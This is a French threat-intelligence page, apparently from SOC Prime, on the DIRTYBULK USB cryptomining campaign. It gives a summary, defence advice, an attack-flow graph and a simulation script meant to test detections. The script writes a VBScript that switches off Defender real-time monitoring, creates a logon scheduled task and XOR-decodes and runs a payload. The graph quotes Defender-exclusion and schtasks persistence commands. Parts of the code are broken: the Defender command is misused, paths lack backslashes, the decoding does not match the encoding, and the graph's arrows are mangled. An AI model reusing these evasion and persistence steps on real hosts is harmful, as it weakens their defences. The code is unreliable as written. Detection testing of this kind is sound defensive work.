SOC Prime Bias: Moyen

02 Déc 2025 20:53

DIRTYBULK et ses amis : Malware USB alimentant les opérations de minage de cryptomonnaie

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
DIRTYBULK et ses amis : Malware USB alimentant les opérations de minage de cryptomonnaie
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport décrit une campagne d’infection par USB qui utilise des fichiers raccourcis malveillants pour livrer une chaîne de logiciels malveillants à plusieurs niveaux pour le minage de cryptomonnaies. L’exécution initiale charge un DLL nommé printui.dll à partir d’un faux répertoire System32, puis passe la main à un dropper (CUTFAIL), déployant ensuite un téléchargeur (HIGHREPS) et une porte dérobée (PUMPBENCH). La porte dérobée PUMPBENCH communique avec un serveur PostgreSQL pour récupérer des charges utiles supplémentaires et lance finalement des mineurs XMRig. L’opération maintient la persistance grâce à des exclusions dans Windows Defender, des tâches planifiées et des services frauduleux.

Analyse

Les chercheurs de Mandiant ont déconstruit la chaîne de destruction et mis en avant quatre familles principales de logiciels malveillants : DIRTYBULK, CUTFAIL, HIGHREPS, et PUMPBENCH. Ils ont capturé les modèles de nommage de fichiers des acteurs, l’abus de chargement de DLL de printui.dll, les changements de registre, et les indicateurs de réseau associés. L’analyse a également cartographié les techniques de persistance, y compris les tâches planifiées et les services liés au groupe de service DCOMLaunch.

Atténuation

Les défenses recommandées incluent le blocage de l’exécution de fichiers raccourcis provenant de supports amovibles, la surveillance des commandes qui ajoutent des exclusions à Windows Defender, la détection des activités suspectes de chargement de printui.dll, et la recherche de services ou de tâches planifiées qui utilisent des noms aléatoires à six chiffres. L’application de contrôles réseau contre les domaines malveillants connus et les résolveurs DoH peut encore limiter les canaux de commande et de contrôle.

Réponse

Une fois détecté, isolez l’hôte concerné, supprimez le DLL malveillant et les composants associés, supprimez la tâche planifiée et les entrées de service offensantes, et rétablissez les paramètres de Windows Defender en effaçant les exclusions. Effectuez un balayage judiciaire complet pour découvrir les charges résiduelles et suivez les connexions à l’infrastructure identifiée de C2 PostgreSQL. Enfin, mettez à jour le contenu de détection pour couvrir l’utilisation observée des lignes de commande et les comportements de création de fichiers.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffff99 classDef process fill:#ff9999 classDef service fill:#ccffcc classDef command fill:#dddddd classDef malware fill:#ffb6c1 %% Initial infection via removable media node_usb_insert[« <b>Action</b> – <b>T1674 Injection d’entrée</b> : La victime insère une clé USB contenant un raccourci malveillant »] class node_usb_insert action node_lnk[« <b>File</b> – <b>Raccourci malveillant</b> (USB Drive.lnk) »] class node_lnk file node_wscript[« <b>Tool</b> – <b>wscript.exe</b> : Exécute un script VBScript »] class node_wscript tool node_vbs[« <b>File</b> – <b>VBScript</b> (x??????.vbs) »] class node_vbs file node_shortcut_mod[« <b>Action</b> – <b>T1547.009 Modification de raccourci</b> : Le fichier LNK est utilisé pour la persistance »] class node_shortcut_mod action %% Masquerading and side‑loading node_masq_dir[« <b>File</b> – <b>Répertoire factice</b> C:\\Windows\\System32 (espace final) »] class node_masq_dir file node_printui_exe[« <b>Process</b> – <b>printui.exe</b> (légitime) »] class node_printui_exe process node_printui_dll[« <b>File</b> – <b>printui.dll</b> (malveillant) »] class node_printui_dll file node_dll_hijack[« <b>Action</b> – <b>T1574.001 Détournement du flux d’exécution : DLL</b> »] class node_dll_hijack action %% Defense evasion via PowerShell profile node_ps_exclusion[« <b>Command</b> – Add‑MpPreference -ExclusionPath \ »C:\\Windows \ » »] class node_ps_exclusion command node_ps_profile[« <b>Action</b> – <b>T1546.013 Profil PowerShell</b> : Exécute la commande d’exclusion »] class node_ps_profile action %% Persistence through service and scheduled task node_service_create[« <b>Action</b> – <b>T1543.003 Création d’un service Windows</b> »] class node_service_create action node_service[« <b>Service</b> – <b>123456</b> créé sous DcomLaunch avec ServiceDll »] class node_service service node_scheduled_task[« <b>Command</b> – schtasks /create /tn \ »console_zero\ » /sc ONLOGON /tr \ »C:\\Windows\\System32\\console_zero.exe\ » /rl HIGHEST /f »] class node_scheduled_task command node_task_action[« <b>Action</b> – <b>T1037.001 Script de connexion</b> : Exécute console_zero.exe à la connexion de l’utilisateur »] class node_task_action action %% C2 resolution via DoH and fast flux node_doh[« <b>Tool</b> – Requêtes DNS‑over‑HTTPS vers dns.google »] class node_doh tool node_fastflux[« <b>Action</b> – <b>T1568.001 Fast Flux DNS</b> et <b>T1568.003 Calcul DNS</b> »] class node_fastflux action %% Resource hijacking – cryptocurrency mining node_xmrig[« <b>Malware</b> – Mineur XMRig »] class node_xmrig malware node_mining[« <b>Action</b> – <b>T1496.001 Détournement de ressources</b> : Cryptominage sur l’hôte compromis »] class node_mining action %% Connections node_usb_insert u002du002du003e|contient| node_lnk node_lnk u002du002du003e|exécute| node_wscript node_wscript u002du002du003e|lance| node_vbs node_vbs u002du002du003e|crée un répertoire de masquage| node_masq_dir node_vbs u002du002du003e|copie l’exécutable légitime| node_printui_exe node_vbs u002du002du003e|remplace la DLL par une version malveillante| node_printui_dll node_printui_exe u002du002du003e|charge| node_dll_hijack node_dll_hijack u002du002du003e|charge la DLL malveillante| node_printui_dll node_printui_dll u002du002du003e|déclenche| node_ps_exclusion node_ps_exclusion u002du002du003e|exécuté via| node_ps_profile node_ps_profile u002du002du003e|crée| node_service_create node_service_create u002du002du003e|crée| node_service node_service u002du002du003e|active| node_scheduled_task node_scheduled_task u002du002du003e|s’exécute à la connexion| node_task_action node_task_action u002du002du003e|télécharge l’adresse C2 via| node_doh node_doh u002du002du003e|utilise| node_fastflux node_fastflux u002du002du003e|fournit l’adresse pour| node_xmrig node_xmrig u002du002du003e|exécute| node_mining

Flux d’attaque

Exécution de Simulation

Prérequis : Les vérifications préalables Télémetry & Baseline doivent avoir été passées.

Rationale : Cette section détaille l’exécution précise de la technique adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés conduiront à un mauvais diagnostic.

  • Narrative de l’attaque & Commandes :

    1. Étape 1 – Déposer le VBScript malveillant sur le lecteur USB compromis (par exemple, E:payload.vbs). Le script désactive la protection en temps réel de Windows Defender en utilisant Add‑MpPreference, crypte une charge utile avec une routine XOR, et crée une tâche planifiée pour la persistance.

    2. Étape 2 – Exécuter le script via wscript.exe en passant la ligne de commande de persistance directement (pour satisfaire la condition conjonctive de la règle).

    3. Étape 3 – Le script invoque en interne PowerShell pour exécuter la charge utile chiffrée, démontrant la « chaîne d’infection ».

    4. Étape 4 – Après l’exécution, l’attaquant nettoie les artefacts (retire le script, supprime la tâche planifiée).

  • Script de test de régression :

    # ------------------------------------------------------------
    # Test de régression – Simulation de chaîne d'infection par logiciel malveillant
    # ------------------------------------------------------------
    $scriptPath = "$env:TEMPpayload.vbs"
    $taskName  = "WinUpdateTask"
    $xorKey    = 0x5A
    
    # -- 1. Créer une charge utile factice chiffrée par XOR --------------------------------
    $plainPayload = "calc.exe"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload)
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $xorKey
    }
    $encrypted = [Convert]::ToBase64String($bytes)
    
    # -- 2. Écrire le VBScript malveillant -------------------------------------------
    @"
    ' VBScript malveillant – chaîne d'infection
    Set sh = CreateObject("WScript.Shell")
    ' Désactiver la protection en temps réel
    sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True
    
    ' Créer une tâche planifiée pour la persistance
    sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True
    
    ' Décrypter et exécuter la charge utile
    Dim encData, decData, i
    encData = "$encrypted"
    decData = ""
    For i = 1 To Len(encData) Step 4
        ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey)
        decData = decData & ch
    Next
    sh.Run decData, 0, False
    "@ | Set-Content -Encoding ASCII $scriptPath
    
    # -- 3. Exécuter le script via wscript.exe (déclenche la règle) -------------
    wscript.exe "$scriptPath" /B
    
    # -- 4. (Optionnel) Attendre quelques secondes pour que la tâche déclenche ----------------
    Start-Sleep -Seconds 10
    
    # ------------------------------------------------------------
    # Nettoyage – retirer le script et la tâche planifiée
    # ------------------------------------------------------------
    Remove-Item $scriptPath -Force
    schtasks /Delete /TN $taskName /F
  • Commandes de Nettoyage :

    # Supprimer la tâche planifiée résiduelle (si toujours présente)
    schtasks /Delete /TN "WinUpdateTask" /F
    
    # Supprimer tous les fichiers de script restants
    Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue
    
    # Réactiver la protection en temps réel
    powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"